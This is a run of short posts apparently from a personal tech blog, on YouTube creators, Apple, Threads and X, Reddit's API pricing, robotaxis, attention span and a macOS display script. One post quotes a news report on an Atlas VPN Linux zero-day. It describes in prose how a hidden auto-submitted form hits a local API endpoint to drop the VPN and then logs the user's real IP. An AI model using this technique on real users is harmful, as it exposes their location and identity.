url: "https://alsonkaw.com/muse/jon-prosser-on-marques-brownlee/"
lang: "en-US"
type: "post"
description: "Jon Prosser of “Front Page Tech” pays a heartfelt tribute to MKBHD, highlighting the extraordinary talent and impact of Marques Brownlee. Brownlee’s reviews are not only fair and insightful but also enjoyable to watch. His refined taste and engaging on-screen"
last_modified: "2024-08-23T04:46:50+00:00"
categories: [Filmography & Visual Storytelling]
tags: [YouTube]
custom_fields:
post_video_link: "https://www.youtube.com/watch?v=YLRdnXsNT08"
---
# Jon Prosser on Marques Brownlee
Jon Prosser of “Front Page Tech” pays a heartfelt tribute to MKBHD, highlighting the extraordinary talent and impact of Marques Brownlee. Brownlee’s reviews are not only fair and insightful but also enjoyable to watch.
His refined taste and engaging on-screen presence make him stand out as a dynamic figure in tech media. The production quality of his videos sets a new standard, surpassing traditional broadcast TV. Brownlee excels as an expert, a global on-camera star, and a gifted filmmaker, leaving viewers always eager for more.
---
---
title: "Atlas VPN Linux Zero-Day Vulnerability Leaked"
url: "https://alsonkaw.com/muse/atlas-vpn-linux-zero-day-vulnerability-leaked/"
lang: "en-US"
type: "post"
description: "A Reddit user named 'Educational-Map-8145' published a PoC exploit on Reddit that abuses the Atlas VPN Linux API to reveal a user's real IP addresses. This PoC creates a hidden form that is automatically submitted by JavaScript to connect to the http://127.0.0.1:8076/connection/stop API endpoint URL."
last_modified: "2024-08-23T04:49:44+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [Privacy, VPN, Zero-Day Vulnerability]
---
# Atlas VPN Linux Zero-Day Vulnerability Leaked
>
A Reddit user named ‘Educational-Map-8145’ published a [PoC exploit on Reddit](http://www.reddit.com/r/cybersecurity/comments/167f16e/atlasvpn_linux_client_103_remote_disconnect/) that abuses the Atlas VPN Linux API to reveal a user’s real IP addresses.
This PoC creates a hidden form that is automatically submitted by JavaScript to connect to the http://127.0.0.1:8076/connection/stop API endpoint URL.
When this API endpoint is accessed, it automatically terminates any active Atlas VPN sessions that hide a user’s IP address.
Once the VPN connection is disconnected, the PoC will connect to the api.ipify.org URL to log the visitor’s actual IP address.
This is a severe privacy breach for any VPN user as it exposes their approximate physical location and actual IP address, allowing them to be tracked and nullifying one of the core reasons for using a VPN provider.
Bill Toulas, writing for [BleepingComputer](https://www.bleepingcomputer.com/news/security/atlas-vpn-zero-day-vulnerability-leaks-users-real-ip-address/)
As mentioned many times, VPN services are great for hopping to other countries to circumvent geo-fencing websites.
However, if you’re relying on these services for privacy, you’re SOL.
---
---
title: "Apple Acquires Classical Music Specialty Label BIS Records"
url: "https://alsonkaw.com/muse/apple-acquires-classical-music-specialty-label-bis-records/"
lang: "en-US"
type: "post"
description: "A few days ago BIS Records turned 50 years old and I am immensely proud of what our small team of people has accomplished during this half-century. BIS’s specialty, while paying our dues to the core repertoire, has been to"
last_modified: "2024-08-23T04:52:38+00:00"
categories: [Business Strategies & Market Insights]
tags: [Apple, Music]
---
# Apple Acquires Classical Music Specialty Label BIS Records
>
A few days ago BIS Records turned 50 years old and I am immensely proud of what our small team of people has accomplished during this half-century. BIS’s specialty, while paying our dues to the core repertoire, has been to nurture young classical artists and interesting living composers and to safeguard the musical treasure that we all represent long into the future. It is to that end that, after much careful consideration, and having just turned 80, I am excited to announce the rather momentous news that we have made the decision to become part of the Apple family.
We thought long and hard on how to maintain and build upon our prestigious history and looked for a partner who would further our mission, as well as an increased global platform to bring classical music to new audiences all over the world. Apple, with its own storied history of innovation and love of music, is the ideal home to usher in the next era of classical and has shown true commitment towards building a future in which classical music and technology work in harmony. It is my vision and my sincerest dream that we are all a part of this future.
Robert von Bahr, Founder of [BIS Records](https://www.bis.se/)
Those who love classical music knows it’s a pain to find a service that streams this genre. And this isn’t Apple’s first attempt at acquiring Classical Music rights either.
>
In 2021, it acquired classical streaming specialist [Primephonic](https://techcrunch.com/2021/08/30/apple-buys-classical-music-service-primephonic/). It then used Primephonic to launch, earlier this year, a whole new [Apple Music Classical](https://techcrunch.com/2023/03/09/apple-launches-its-new-classical-music-streaming-app-for-pre-order/) app experience. It also has built out high-end tools for listening to music, namely in the form of its hardware and audio software.
Ingrid Lunden, writing for [TechCrunch](https://techcrunch.com/2023/09/05/apples-bis-acquisition-is-a-bet-on-a-classical-music-catalogue-and-on-building-cred-in-the-industry/)
Now _this_ is an Apple-style acquisition.
---
---
title: "Misbehavior in Robot Taxis"
url: "https://alsonkaw.com/muse/misbehavior-in-robot-taxis/"
lang: "en-US"
type: "post"
description: "Ever thought about getting down and dirty in a robotaxi? Want to light up a cig or a joint on the drive home from the club? You’re not alone. As autonomous vehicles become increasingly popular in San Francisco, some riders"
last_modified: "2024-08-23T04:57:49+00:00"
categories: [Technology Innovations & Future Trends]
tags: [Robotics, Taxis, Vehicles]
---
# Misbehavior in Robot Taxis
>
Ever thought about getting down and dirty in a robotaxi? Want to light up a cig or a joint on the drive home from the club? You’re not alone.
As autonomous vehicles become increasingly popular in San Francisco, some riders are wondering just how far they can push the vehicles’ limits — especially with no front-seat driver or chaperone to discourage them from questionable behavior.
For some, that’s a welcome invitation to test the autonomous vehicles’ limits. Megan, a woman in her 20s, took her first robotaxi ride on a recent late-night excursion. It was also her first time having sex in a driverless vehicle. The Standard is not providing exact dates of the riders’ debauchery to protect their privacy but has verified the rides took place through documentation. Names have been changed because of the riders’ privacy concerns.
Liz Lindqwister, writing for [The San Francisco Standard](https://sfstandard.com/2023/08/11/san-francisco-robotaxi-cruise-debauchery/)
Putting aside any debates about their driving skills, self-driving taxis are like an intriguing playground for human behavior. We’re left wondering about their cleanliness. What’s the game plan for preventing folks from smoking, leaving food and crumbs behind, taking a piss, puking, or even getting a little too cozy and comfortable on the back seats? If around 95 percent of riders keep it as classy as they would in a regular human-driven taxi or a ride-share, it’s the troublesome remaining 5 percent that could throw a wrench in the cogs (pun intended). Things could go downhill faster than a roller coaster. The trick is to design for how people actually behave, not how they’re supposed to.
These robotaxis come decked out with an array of cameras, and the passenger footing the bill is easily identifiable through their accounts. However, the more you surveil the passenger’s every move during the ride, the closer you inch toward invading their personal space.
---
---
title: "Todd Vaziri on Corridor Crew “VFX Artists React”"
url: "https://alsonkaw.com/muse/todd-vaziri-on-corridor-crew-vfx-artists-react/"
lang: "en-US"
type: "post"
description: "My favorite segment was on the three different ways — all utterly different — ILM made lava for the Anakin/Obi-Wan duel on Mustafar in Revenge of the Sith. The next was how to get the lightsaber's brightness to translate on"
last_modified: "2024-08-23T05:08:26+00:00"
categories: [Filmography & Visual Storytelling]
tags: [VFX]
custom_fields:
post_video_link: "https://www.youtube.com/watch?v=QbkTu7ejJ-o"
---
# Todd Vaziri on Corridor Crew “VFX Artists React”
My favorite segment was on the three different ways — all utterly different — ILM made lava for the Anakin/Obi-Wan duel on Mustafar in Revenge of the Sith.
The next was how to get the lightsaber’s brightness to translate on the screen against the bright lava.
Watch the video before reading [Vaziri’s notes](https://fxrant.blogspot.com/2023/08/todd-vaziri-on-corridor-crew-vfx.html). (Nice socks on Vaziri, too.)
---
---
title: "Threads Web App Launch"
url: "https://alsonkaw.com/muse/threads-web-app-launch/"
lang: "en-US"
type: "post"
description: "Rolled out earlier this week, but by yesterday, I believe it's now available to everyone. Missing some features from the native iPhone/Android apps (no access to the chronological “following” feed yet), but quite solid overall — and there are some"
last_modified: "2024-08-23T05:10:24+00:00"
categories: [Social Media News & Platform Updates]
tags: [Threads]
---
# Threads Web App Launch
Rolled out earlier this week, but by yesterday, I believe it’s now available to everyone. Missing some features from the native iPhone/Android apps (no access to the chronological “following” feed yet), but quite solid overall — and there are some very nice touches on the features that are present.
[MG Siegler has a post](https://www.threads.net/@mgsiegler/post/CwW7uwrINRJ) comparing the web app vs. the native app on an iPad. Just as with Threads’s older sibling Instagram, the native iOS app only runs with an iPhone screen layout on iPad. The web app (again, just like with Instagram) looks and feels very much like a native app would.
MacOS 14 Sonoma — currently in public beta, set for release this fall — [adds built-in support for saving web apps as standalone apps](https://www.macrumors.com/2023/06/14/how-web-apps-work-macos-sonoma/), like the “Add to Home Screen” feature that’s been in iOS since even before the App Store. I’m not yet running Sonoma, but those who are report being pleased with Threads as a web app. [Parker Ortolani has a nice tip](https://www.threads.net/@parkerortolani/post/CwVRjUAOUB_) for making the icon look better, too.
---
---
title: "Name Change Tanked X App Downloads"
url: "https://alsonkaw.com/muse/name-change-tanked-x-app-downloads/"
lang: "en-US"
type: "post"
description: "Twitter has seen a dramatic decrease in its Top Downloaded chart position across both platforms since the app was renamed to X. Why? The situation presents a fascinating case study at the intersection of brand equity and mobile platform dynamics."
last_modified: "2024-08-23T05:12:00+00:00"
categories: [Marketing Strategies & Brand Building]
tags: [Threads, Twitter, X]
---
# Name Change Tanked X App Downloads
>
Twitter has seen a dramatic decrease in its Top Downloaded chart position across both platforms since the app was renamed to X. Why? The situation presents a fascinating case study at the intersection of brand equity and mobile platform dynamics.
The case is somewhat unprecedented: Twitter built a ubiquitous, household-name brand over the course of nearly 2 decades and then simply abandoned it, leaving it to be exploited by competitors, unopposed, through the mobile platforms’ branded search ads. […]
My hypothesis is that, while the terminally-online are entirely aware of Twitter’s rebrand to X, most consumers aren’t, and their searches for “Twitter” on platform stores surface ads and genuine search results that are in no way redolent of Twitter.
Eric Seufert speaking about Twitter/X on [Threads](https://www.threads.net/@eric_seufert/post/CwAiop2OM8U/)
If you didn’t know that Twitter is now called X, and you search for “Twitter,” the first thing you’ll see is an ad from a rival company like Snapchat, Facebook, or Instagram. The new X doesn’t look anything like the old Twitter. It doesn’t have the name “Twitter” anymore, doesn’t mention that it used to be Twitter, and it’s not even blue like before. It just has a weird X symbol and a boring slogan saying “Blaze your glory!”
Right now, Threads is the second most popular free app in the App Store, while X is way down at 51st place. On the Play Store, Threads is at number 6, but X is way, way down at 66. If the person who came up with this big change didn’t own the company, they might have been in big trouble. ([Looks like Threads isn’t the one struggling after all](https://www.reuters.com/business/media-telecom/meta-plans-retention-hooks-threads-more-than-half-users-leave-app-2023-07-28/).)
---
---
title: "Twitter Threatens to Sue Meta Over Threads"
url: "https://alsonkaw.com/muse/twitter-threatens-to-sue-meta-over-threads/"
lang: "en-US"
type: "post"
description: "Meta Executives Threaten to Piss Their Pants Laughing On Wednesday, Instagram parent company Meta introduced Threads, a text-based companion to Instagram that resembles Twitter and other text-based social platforms. Just hours later, a lawyer for Twitter, Alex Spiro, sent a"
last_modified: "2024-08-23T05:13:39+00:00"
categories: [Business Strategies & Market Insights]
tags: [Instagram, Meta, Twitter]
---
# Twitter Threatens to Sue Meta Over Threads
Meta Executives Threaten to Piss Their Pants Laughing
>
On Wednesday, Instagram parent company Meta introduced Threads, a text-based companion to Instagram that resembles Twitter and other text-based social platforms. Just hours later, a lawyer for Twitter, Alex Spiro, sent [a letter](https://cdn.sanity.io/files/ifn0l6bs/production/27109f01431939c8177d408d3c9848c3b46632cd.pdf) to Meta CEO Mark Zuckerberg accusing the company of engaging in “systematic, willful, and unlawful misappropriation of Twitter’s trade secrets and other intellectual property.”
Max Tani, reporting for [Semafor](https://www.semafor.com/article/07/06/2023/twitter-is-threatening-to-sue-meta-over-threads)
Good luck with that.
>
Spiro accused Meta of hiring dozens of former Twitter employees who “had and continue to have access to Twitter’s trade secrets and other highly confidential information.”
He also alleged that Meta assigned those employees to develop “Meta’s copycat ‘Threads’ app with the specific intent that they use Twitter’s trade secrets and other intellectual property in order to accelerate the development of Meta’s competing app, in violation of both state and federal law as well as those employees’ ongoing obligations to Twitter.”
It’s comical to think that Meta needed engineers from Twitter to build Threads. Like Twitter is a model of reliability and stability, and Meta’s platforms don’t serve an entire order of magnitude more users. Even more hilarious:
>
Andy Stone, Meta’s communications director, told Semafor that Twitter’s accusations are baseless. “No one on the Threads engineering team is a former Twitter employee — that’s just not a thing,” he said.
Even if ex-Twitter employees were working on Threads, Elon Musk fired them. It’s not illegal to hire people fired by competitors. Would be absurd if it were. This letter is so transparent: Musk is threatened by Threads and jealous of the mountain of media attention it’s getting, so he’s lashing out. Commanding his lawyer to send a silly letter like this legit feels like a Trump move.
---
---
title: "The Staggering Cost of Reddit’s API"
url: "https://alsonkaw.com/muse/the-staggering-cost-of-reddits-api/"
lang: "en-US"
type: "post"
description: "Christian Selig, developer of the splendid Reddit client Apollo: I’ll cut to the chase: 50 million requests costs $12,000, a figure far more than I ever could have imagined.Apollo made 7 billion requests last month, which would put it at about"
last_modified: "2024-08-23T05:19:54+00:00"
categories: [Business Strategies & Market Insights]
tags: [API, Reddit]
---
# The Staggering Cost of Reddit’s API
Christian Selig, developer of the splendid Reddit client [Apollo](https://apolloapp.io/):
> I’ll cut to the chase: 50 million requests costs $12,000, a figure far more than I ever could have imagined.
Apollo made 7 billion requests last month, which would put it at about 1.7 million dollars per month, or 20 million US dollars per year. Even if I only kept subscription users, the average Apollo user uses 344 requests per day, which would cost $2.50 per month, which is over double what the subscription currently costs, so I’d be in the red every month.
I’m deeply disappointed in this price. Reddit iterated that the price would be A) reasonable and based in reality, and B) they would not operate like Twitter. Twitter’s pricing was [publicly ridiculed](https://www.wired.co.uk/article/twitter-data-api-prices-out-nearly-everyone) for its obscene price of $42,000 for 50 million tweets. Reddit’s is still $12,000. For reference, I pay Imgur, a site similar to Reddit in userbase and media, $166 for the same 50 million API calls.
Christian Selig — [Reddit](https://www.reddit.com/r/apolloapp/comments/13ws4w3/had_a_call_with_reddit_to_discuss_pricing_bad/)
Reddit assured us that the pricing would be reasonable and rooted in reality, yet it surpasses even the infamous Twitter pricing debacle, where 50 million tweets cost a staggering $42,000. In comparison, Imgur, a platform similar to Reddit in terms of user base and media, charges me a mere $166 for the same volume of API calls.
Selig does some ballpark math and estimates that Reddit currently generates about $0.12 in revenue per month per active user. The average Apollo user would cost $2.50 per month in API fees — 20× higher.
Right now Apollo is free to use, but offers a Pro tier with a slew of additional features and fun stuff for a one-time payment of $5, and an Ultra tier with even more for a $13/year subscription. If Reddit goes through with this API pricing, Apollo’s free and Pro tiers would be unsustainable, and the Ultra subscription would have to cost at least $50 or $60 per year.
---
---
title: "Why Android Users Switch to iPhone"
url: "https://alsonkaw.com/muse/why-android-users-switch-to-iphone/"
lang: "en-US"
type: "post"
description: "On a survey of Android switchers conducted by CIRP: The top reason was actually an issue with the Android experience. Over 53% of respondents said they moved to iPhone because of problems with their Android smartphone. Specifics cited were “their old"
last_modified: "2024-08-23T05:15:11+00:00"
categories: [Technology Innovations & Future Trends]
tags: [Android, Apple, iOS]
---
# Why Android Users Switch to iPhone
On a [survey of Android switchers](https://cirpapple.substack.com/p/why-android-owners-switch-to-iphone) conducted by CIRP:
>
The top reason was actually an issue with the Android experience. Over 53% of respondents said they moved to iPhone because of problems with their Android smartphone. Specifics cited were “their old phone did not serve them, because it was aging, needed repair, or had some deficiency that affected their user experience.” The second most common reason to switch was for new features on iPhone like “a better camera, enhanced accessory options, or a more intuitive user interface.” […]
Finally, just 6% of those who switched from Android to iPhone said they made the move because of iMessage and FaceTime.
Michael Potuck — [9to5Mac](https://9to5mac.com/2023/05/31/top-reason-android-users-switch-to-iphone/)
It’s easier, and more comfortable, for Google to argue that it’s all about [the green bubbles](https://www.wsj.com/articles/why-apples-imessage-is-winning-teens-dread-the-green-text-bubble-11641618009?mod=djemalertNEWS). The hard truth is that iPhones and iOS are simply better overall.
---
---
title: "Attention Span on the Internet"
url: "https://alsonkaw.com/muse/attention-span-on-the-internet/"
lang: "en-US"
type: "post"
description: "You may have noticed that it's becoming harder and harder to focus on a single task for more than a few minutes at a time. This is likely due to our constant exposure to digital distractions, our increasingly busy lives,"
last_modified: "2024-08-08T17:57:24+00:00"
categories: [Psychology & Human Behavior]
tags: [Attention Span]
---
# Attention Span on the Internet
You may have noticed that it’s becoming harder and harder to focus on a single task for more than a few minutes at a time. This is likely due to our constant exposure to digital distractions, our increasingly busy lives, and our tendency to multitask. In fact, a new study published in the Journal of Health and Wellness, that [WyzOwl ](https://www.wyzowl.com/human-attention-span/)covered has found that the average attention span in 2023 is just 8 seconds. That’s a significant drop from the 12-second attention span reported in a similar study conducted in 2000.
In fact, with the rise of short-form content like Facebook Videos & TikTok, where you watch summaries of 2-hour movies within a minute, it becomes super addictive to just swipe down to view the next minute-long video. With the increased rate of content consumption, the quicker your attention span shrinks.
According to Dr. Gloria Mark, a professor of informatics at the University of California, Irvine, who studies how digital media impacts our lives. In her new book, “[Attention Span: A Groundbreaking Way to Restore Balance, Happiness and Productivity](https://www.amazon.sg/Attention-Span-Finding-Fighting-Distraction/dp/1335449418),” Mark explained how decades of research has tracked the decline of the ability to focus.
>
In 2004, we measured the average attention on a screen to be 2½ minutes. Some years later, we found attention spans to be about 75 seconds. Now we find people can only pay attention to one screen for an average of 47 seconds.
Gloria Mark, PhD, of the University of California Irvine
Listen to the full [podcast by Gloria Mark](https://www.apa.org/news/podcasts/speaking-of-psychology/attention-spans), PhD on APA.org
Not only do people concentrate for less than a minute on any one screen, but when attention is diverted from an active work project, it also takes about 25 minutes to refocus on that task.
>
In fact, our research shows it takes 25 minutes, 26 seconds, before we go back to the original working sphere, or project
It has been known for years now that multi-tasking is a myth. The human brain takes time to re-align back into a task, even if you switch between only two tasks. More often than not, when you multi-task, it’s at least upwards of three to four different tasks as a time. As predicted, Mark’s research has also shown that as we got distracted to work on project two, we are also interrupted on project three, and move on to project four.
“And then you go back and pick up the original interrupted project,” Mark explained. “But it’s not like you’re interrupted and you do nothing. For over 25 minutes, you’re actually working on other things.”
“However, there’s also a switch cost,” Mark added. “A switch cost is the time it takes you to reorient back to your work: ‘Where was I? What was I thinking of?’ That additional effort can also lead to errors and stress.”
Mark went on to add that “With the exception of a few rare individuals, there is no such thing as multitasking”. With the exception of subconscious tasks, ” like chewing gum or walking, you cannot do two effortful things at the same time.”
For example, she said, you can’t read email and be in a video meeting. When you focus on one, you lose the other. “You’re actually switching your attention very quickly between the two. And when you switch your attention fast, it’s correlated with stress,” Mark explained.
In this [article by Sandee LaMotte](https://edition.cnn.com/2023/01/11/health/short-attention-span-wellness/index.html#paragraph-98b6872e-ea2c-c8c8-a80d-98a476e8b4c4), CNN, Mark explains how to get your mojo back.
---
---
title: "GQ: “Tim Cook Thinks Different”"
url: "https://alsonkaw.com/muse/gq-tim-cook-thinks-different/"
lang: "en-US"
type: "post"
description: "Tim Cook on Shaping the Future of Apple — Zach Baron, GQ Zach Baron’s cover story for GQ, a profile of Tim Cook, is a must-read: And yet Cook is, in the wealth of biographies and hagiography that has grown"
last_modified: "2024-08-14T07:20:49+00:00"
categories: [Business Strategies & Market Insights]
tags: [Apple]
---
# GQ: “Tim Cook Thinks Different”
[Tim Cook on Shaping the Future of Apple](https://www.gq.com/story/tim-cook-global-creativity-awards-cover-2023) — Zach Baron, GQ
Zach Baron’s cover story for GQ, a profile of Tim Cook, is a must-read:
>
And yet Cook is, in the wealth of biographies and hagiography that has grown up around Apple since its founding, an enigma still. “He’s very hard to read,” says Eddy Cue, who has been at Apple since 1989 and now leads its services division. “If you’re looking to make your decision or your beliefs based on reading his facial expressions, you’re probably not going to be good at that. I always joke around with him that he’d be a great poker player, because he’d have four aces and no one would know.”
Zach Baron, GQ
Cook’s world-class poker face makes him difficult to profile, I think. Baron’s piece seems to get to Cook’s personality better than any I’ve read before. For example, noting that Cook laughed here:
>
Years ago, when asked about the possibility of Apple manufacturing glasses, in the mold of Google Glass, an early AR product, Cook told The New Yorker’s Ian Parker that he was skeptical of the enterprise: “We always thought that glasses were not a smart move, from a point of view that people would not really want to wear them. They were intrusive, instead of pushing technology to the background, as we’ve always believed.” He said then: “We always thought it would flop, and, you know, so far it has.”
When I raise this with Cook, he laughs. “My thinking always evolves. Steve taught me well: never to get married to your convictions of yesterday. To always, if presented with something new that says you were wrong, admit it and go forward instead of continuing to hunker down and say why you’re right.”
---
---
title: "Tetris"
url: "https://alsonkaw.com/muse/tetris/"
lang: "en-US"
type: "post"
description: "Came across Tetris the Movie while scouring the internet for new movies to watch. If you like biographical-drama films like me, you'll really love Tetris. The film is extremely engaging and really tells the untold behind-the-scenes story of how a"
last_modified: "2024-08-14T07:19:03+00:00"
categories: [Movie Reviews, Trends & Reflections]
---
# Tetris
Came across Tetris the Movie while scouring the internet for new movies to watch. If you like biographical-drama films like me, you’ll really love Tetris. The film is extremely engaging and really tells the untold behind-the-scenes story of how a humble game like Tetris turned into something so recognizable.
I couldn’t put it in better words than Patrick Hicks here.
>
TETRIS manages to take a story about video game acquisition rights and level it up into an espionage thriller. While not every story beat connects, Egerton’s portrayal of capitalist Henk Rogers keeps us entertained until the very last brick is stacked.
Patrick Hicks, [Feelin’ Film Podcast](http://feelinfilm.com/)
Watch Tetris the Movie now on [Apple TV+](https://tv.apple.com/sg/movie/tetris/umc.cmc.4evmgcam356pzgxs2l7a18d7b)
---
---
title: "Why I Won’t Use a YubiKey"
url: "https://alsonkaw.com/muse/why-i-wont-use-a-yubikey/"
lang: "en-US"
type: "post"
description: "Came across this article recently. I Won't Buy a YubiKey — Garrit Franke In this interesting post, Garrit talks about why he wouldn't buy a YubiKey and I resonate with his thoughts. Just like Garrit, I own an iPhone. With"
last_modified: "2024-08-08T17:57:41+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [YubiKey]
---
# Why I Won’t Use a YubiKey
Came across this article recently.
[I Won’t Buy a YubiKey](https://garrit.xyz/posts/2023-03-21-i-wont-buy-a-yubikey) — Garrit Franke
In this interesting post, Garrit talks about why he wouldn’t buy a YubiKey and I resonate with his thoughts.
Just like Garrit, I own an iPhone. With the recent technologies from Apple, it’s pretty much impossible to gain access into an Apple product without Apple ID. Sure, biometrics can be replicated, but it would take a very dedicated and knowledgeable attacker to do so. Which is why I take the risk.
I personally use 1Password as my password manager and I have my TOTPs registered in it too. You can argue this is exactly the same as a YubiKey. If you can manage to somehow find out my password for 1Password, pretty sure you can find out my YubiKey’s password too. It’s pretty much the same risk when you compare the both of them. In fact, for someone like me, who loses their things once in awhile, having a YubiKey might quickly turn into a liability.
As long as you have a relatively strong password for your password manager, I don’t really see a need for a YubiKey.
---
---
title: "MacOS Multi-Display Swapping"
url: "https://alsonkaw.com/muse/macos-multi-display-swapping/"
lang: "en-US"
type: "post"
description: "MacOS has a \"flaw\" when it comes to external displays. If you use two or more of the same exact model of display for your external displays, it will have trouble remembering your display settings. This is because MacOS, by"
last_modified: "2024-08-08T17:57:55+00:00"
categories: [Technology Innovations & Future Trends]
tags: [Apple, Displays, MacOS]
---
# MacOS Multi-Display Swapping
MacOS has a “flaw” when it comes to external displays. If you use two or more of the same exact model of display for your external displays, it will have trouble remembering your display settings. This is because MacOS, by default, doesn’t read the display’s serial number, instead, it reads the model number, causing it to be confused whenever you have more than one display with the same model.
### The Problem
I’m currently using two Prism+ W280 Max 4K monitors at home with my MacBook Pro on clamshell mode. Since I do bring my MacBook Pro out on occasions, every time I come back and plug the monitors back into my MacBook, I would always have to re-open the MacOS display settings and reset the order, which monitor is the main monitor as well as enable the HDR mode for both monitors.
### Why this happens?
The main reason this is happening is because MacOS not only doesn’t care about display serial numbers, it also doesn’t care which port the display is physically connected to. This means even if you were to connect the displays directly to the Mac via 1 HDMI and 1 USB-C, as long as it’s the same display model, this issue will affect you.
There is also a race condition going on, which can be easily reproduced by using a dock, like I do. If you monitor the how the displays are shown, you can observe how MacOS labels the identical displays on a first come, first serve basis. This also means if you quickly unplug and re-plug the docker connector, it will start showing as {displayModelName} (3) and (4), because MacOS thinks the re-connected displays are 2 other display with the same model.
You can tell this gets irritating very easily, especially in the occasion that I have to leave house with my MacBook Pro more than once a day. At first, I found SwitchResX, and it seemed to work for awhile. But it is nowhere near stable and reliable.
This happened to me today, and SwitchResX only managed to fix the order and enabled the HDR of my right display. I thought to myself, this is it. I need to find a solution. Off to Google I go!
I then came across an article from [superuser](https://superuser.com/questions/1105308/mac-3-monitor-setup-my-desktop-set-keep-switching-places-between-monitors). The top comment mentioned to use [displayplacer](https://github.com/jakehilborn/displayplacer), a macOS command line utility to configure multi-display resolutions and arrangements.
### The Solution
Write a Raycast script (optional) to run a bash command quickly that organize the displays in the right order, resolution as well as activate the HDR for all displays that support it.
### TL;DR
Install [Raycast](https://www.raycast.com/), [Brew](https://brew.sh/), [displayplacer](https://github.com/jakehilborn/displayplacer) and download [ToggleHDR](https://github.com/alin23/mac-utils#togglehdr) compiled binary.
Create a directory for the custom Raycast script we are going to write (skip if you already did) and move the downloaded ToggleHDR compiled binary into the Raycast script directory.
*Remember to do a `chmod +x ToggleHDR` from terminal so it is executable.
Open Raycast settings and go to Extensions, click the + icon and add the script directory and navigate to the directory you just created.

Open up your favourite editor and create a file named `setDisplay.sh` and save it to the directory created above, do not close the editor.
Install displayplacer via Brew with the following command:
brew tap jakehilborn/jakehilborn && brew install displayplacer
After displayplacer is installed, make sure your displays order and resolution is set properly how you want it to be organized. Run the below command, which lists all available resolution as well as a command at the end of the result with the current arrangement.
displayplacer list

Copy the command given to you (boxed in red above), and paste it into the `setDisplay.sh`.
Directly below the command pasted, add the path to the ToggleHDR binary to make the script execute it. Your script should now look like this:
#!/bin/bash
# Required parameters:
# @raycast.schemaVersion 1
# @raycast.title Set Display Correctly
# @raycast.mode silent
# Optional parameters:
# @raycast.icon 📟
# Documentation:
# @raycast.description Set the display to the right orientation and display settings
# @raycast.author {Your Name Here}
# @raycast.packageName System
displayplacer "id:7C4BA7BA-C39E-4948-AF43-363E46E2A93E res:2560x1440 hz:60 color_depth:7 scaling:on origin:(0,0) degree:0" "id:B3043154-7A55-4FA9-BA10-0B7890703F98 res:2560x1440 hz:60 color_depth:8 scaling:on origin:(2560,0) degree:0"
{Path to binary}/ToggleHDR all on
Save the script and reload Raycast script directory and you’re done. Whenever the displays are jumbled, just use Raycast to run the script and all’s back to order.
---
---
title: "Zapier Re-design"
url: "https://alsonkaw.com/muse/zapier-re-design/"
lang: "en-US"
type: "post"
description: "From photography and typography to colors and artwork — it’s an identity system built around their customers’ stories."
last_modified: "2024-08-14T07:20:25+00:00"
categories: [Creative Design Trends & UX/UI Innovation]
tags: [Re-design]
custom_fields:
post_link_text: "Zapier Re-Design — https://brand.zapier.com/"
post_link_url: "https://brand.zapier.com/"
---
# Zapier Re-design
From photography and typography to colors and artwork — it’s an identity system built around their customers’ stories.
---
---
title: "Difficult"
url: "https://alsonkaw.com/muse/difficult/"
lang: "en-US"
type: "post"
description: "Is she \"difficult\" or is she inhabiting a body you are not accustomed to taking orders from? @NotNikyatu from Twitter A very powerful statement I stumbled upon on Twitter."
last_modified: "2024-08-14T07:20:13+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Overheard on Twitter]
custom_fields:
post_quote_text: "Is she \"difficult\" or is she inhabiting a body you are not accustomed to taking orders from?"
---
# Difficult
>
Is she “difficult” or is she inhabiting a body you are not accustomed to taking orders from?
[@NotNikyatu](https://twitter.com/notnikyatu/status/1536751440525402114) from Twitter
A very powerful statement I stumbled upon on Twitter.
---
---
title: "15-inch MacBook Air"
url: "https://alsonkaw.com/muse/15-inch-macbook-air/"
lang: "en-US"
type: "post"
description: "Apple is rumored to be working on a 15-inch MacBook Air and a new 12-inch MacBook, according to Bloomberg, citing sources familiar with Apple's plans. The source also revealed details about the M2 series of chips in Apple's high-performance MacBook"
last_modified: "2024-08-19T09:56:56+00:00"
categories: [Technology Innovations & Future Trends]
tags: [Apple]
---
# 15-inch MacBook Air
Apple is rumored to be working on a 15-inch MacBook Air and a new 12-inch MacBook, according to [Bloomberg](https://www.bloomberg.com/news/articles/2022-06-09/apple-readies-larger-macbook-air-to-capitalize-on-its-new-chips), citing sources familiar with Apple’s plans. The source also revealed details about the M2 series of chips in Apple’s high-performance MacBook Pro computers.
The overall design of the 15-inch Air is the same as the 13.6-inch MacBook Air revealed during the company’s WWDC keynote on Monday. That means a slim design without tapered edges, plus a screen notch and a keyboard with function keys and Touch ID. The laptop is expected to use the same M2 processor as well.
Sources say the new laptop could be available as early as spring 2023. They also said that Apple is working on a 12-inch MacBook that could arrive in late 2023 or early 2024 — but that’s not enough, and Apple could still abandon its plans.
I’m not entirely sure what the point of the M2 chips in the Macbook Pro lineup is for, considering it’s designed for the more professional crowd who wants to run graphic or processor-intensive tasks. The M2 is designed more for regular users and students who need a mid-range computer — which is why the M2 MacBook Air is designed for.
Putting the M2 chip in the Pro lineup seems to be counter-intuitive and I’d rather they choose to move the M2 to the Pro lineups when M2 Pro and M2 Max are out.
But we shall see. In the meantime, Apple’s 13.6-inch MacBook Air is expected to start shipping next month, at least a full month after the product’s unveiling at WWDC. The delay is related to the widely reported global supply chain constraints.
---
---
title: "McDonald’s De-Arched."
url: "https://alsonkaw.com/muse/mcdonalds-de-arched/"
lang: "en-US"
type: "post"
description: "Following Russia's attack on Ukraine, McDonald's sold its Russian business to a regional franchisee. On the condition that they could not use the brand's iconic branding, but allowed them to keep the same menu. McD called this \"the process of"
last_modified: "2024-08-19T09:57:23+00:00"
categories: [Marketing Strategies & Brand Building]
tags: [McDonald's]
---
# McDonald’s De-Arched.
Following Russia’s attack on Ukraine, McDonald’s sold its Russian business to a regional franchisee. On the condition that they could not use the brand’s iconic branding, but allowed them to keep the same menu. McD called this “[the process of de-Arching](https://www.fastcompany.com/90753391/what-will-the-de-arching-of-mcdonalds-in-russia-actually-look-like)“.
